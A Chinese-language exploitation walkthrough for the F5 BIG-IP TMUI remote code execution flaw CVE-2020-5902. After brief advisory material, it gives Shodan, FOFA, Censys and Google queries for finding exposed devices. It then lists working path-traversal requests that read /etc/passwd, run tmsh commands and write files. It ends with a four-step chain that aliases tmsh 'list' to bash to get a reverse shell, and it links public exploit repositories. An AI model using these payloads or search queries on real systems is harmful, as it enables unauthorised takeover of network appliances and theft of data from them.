实战F5 big-ip tmui 远程代码执行漏洞最新漏洞CVE-2020-5902
2020年7月1日,F5官方公布流量管理用户界面(TMUI)存在前台远程执行代码(RCE)漏洞(CVE-2020-5902)。攻击者利用该漏洞,可以构造恶意请求,在未授权的情况下获得目标服务器的权限,实现任意远程代码执行。腾讯安全团队注意到已有国外安全研究人员公开了漏洞poc,该漏洞的风险正在迅速上升。腾讯安全专家建议相关企业尽快修复漏洞,腾讯漏洞扫描服务已支持检测。
【漏洞描述】
F5 BIG-IP流量管理用户界面(TMUI)的未公开界面中存在远程代码执行漏洞。该漏洞允许未授权的攻击者或授权用户通过BIG-IP的管理端口和/或自身IP执行任意系统命令,增删文件,停止服务,或执行任意java代码。该漏洞将导致严重的系统危害,服务器可能被攻击者完全控制,BIG-IP设备也存在此漏洞。
F5 BIG-IP是由美国F5 Networks公司发行的一系列应用交付平台,具有负载均衡,流量管理,应用程序管理等多种功能。能够提供构建灵活的应用交付网络架构所需的基础组件,同时推动企业云架构实现,用户能够全方位监控自己的应用交付环境。
【漏洞等级】高危
【漏洞影响版本】
F5 BIG-IP < 15.1.0.4
F5 BIG-IP < 14.1.2.6
F5 BIG-IP < 13.1.3.4
F5 BIG-IP < 12.1.5.2
F5 BIG-IP < 11.6.5.2
【不受影响的版本】
F5 BIG-IP 15.1.0.4
F5 BIG-IP 14.1.2.6
F5 BIG-IP 13.1.3.4
F5 BIG-IP 12.1.5.2
F5 BIG-IP 11.6.5.2
F5 BIG-IP <11.6.1
搜索目标:
注:请将下面的%26替换为&。
shodan
http.favicon.hash:-335242539
http.title:"BIG-IP%26reg;- Redirect"
fofa
title="BIG-IP%26reg;- Redirect"
censys
443.https.get.body_sha256:5d78eb6fa93b995f9a39f90b6fb32f016e80dbcda8eb71a17994678692585ee5
443.https.get.title:"BIG-IP%26reg;- Redirect"
google
inurl:"tmui/login.jsp"
intitle:"BIG-IP" inurl:"tmui"
漏洞检测
/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp
/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=a
漏洞利用
文件读取
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
RCE
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin (没测试成功)
工具利用https://github.com/zhzyker/exphub/tree/master/f5/image
Github: https://github.com/sv3nbeast/CVE-2020-5902_RCE
https://github.com/jas502n/CVE-2020-5902
未认证的攻击者可以通过发送伪造的恶意HTTP请求到含有TMUI工具的具有漏洞的服务器来远程利用该漏洞。成功利用该漏洞可以完全控制设备的管理员权限,无需授权就可以在被黑的设备上执行任意命令。
未授权的远程攻击者通过向漏洞页面发送特制的请求包,可以造成任意 Java 代码执行。进而控制 F5 BIG-IP 的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。该漏洞影响控制面板受影响,不影响数据面板。
0x02 影响范围
0x03 设备检索
以下是F5 BIG-IP设备在各大检索平台的检索规则
shodan
http.favicon.hash:-335242539
http.title:“BIG-IP® ;- Redirect”
fofa
title=“BIG-IP® ;- Redirect”
censys
443.https.get.body_sha256:5d78eb6fa93b995f9a39f90b6fb32f016e80dbcda8eb71a17994678692585ee5
443.https.get.title:“BIG-IP® ;- Redirect”
google
inurl:“tmui/login.jsp”
intitle:“BIG-IP” inurl:“tmui”
0x04 漏洞复现
这个漏洞复现很简单,这里jas502n 大神在github中已经给出了漏洞的各种复现的情况
读取文件 Read File
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
1
执行命令 RCE
POC:
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
1
这里的list 这些命令是防火墙自己定义的Tmsh命令。想了解请点击这个地址https://clouddocs.f5.com/api/tmsh/Other.html
其中list 代表bash 命令
根据POC执行,我用burpsuite 执行的很不稳定,如下图,我是用python 运行的。说明此漏洞是存在的。
写入文件 Upload File & 查看文件内容 File Read
这个漏洞还可以向文件中写入任意信息,因此这个漏洞后续在获取控制权限中可以利用
POC:
https://IP/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/22&content=hello tiger!
1
查看内容 File Read
诸位可以看到文件可以写入,并且创建文件txt
0x05 漏洞利用(控制设备,获取shell)
接下来讲漏洞利用的获取shell 的部分,我根据GitHub中各种公开的漏洞poc都没有成功获取shell。 另外,公布的msf中的exploit,我始终运行不起来,找不到原因,也有可能是脚本本身就不够完善就发布了。于是我通过msf脚本的利用方式,结合一些公开的信息。另外构造了python编写的exploit。
这里获取shell。 用的是python 的方式,当然也可以用其他的方式获取权限。这里就不一一概述。
漏洞利用主要分为四步
先创建执行命令的模式,也就是讲list 设置为 bash
向创建的文件中写入要执行的命令
利用前面讲list设置为bash 的命令来执行文件中的命令
清空list设置
分别对应以下四步:
tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
fileSave.jsp?fileName=/tmp/cmd&content=id
tmshCmd.jsp?command=list+/tmp/cmd
tmshCmd.jsp?command=delete+cli+alias+private+list
运行EXP:
将list设置为bash
讲命令写入文件中
执行文件中的命令
监听结果:
成功的监听到了设备反弹的shell。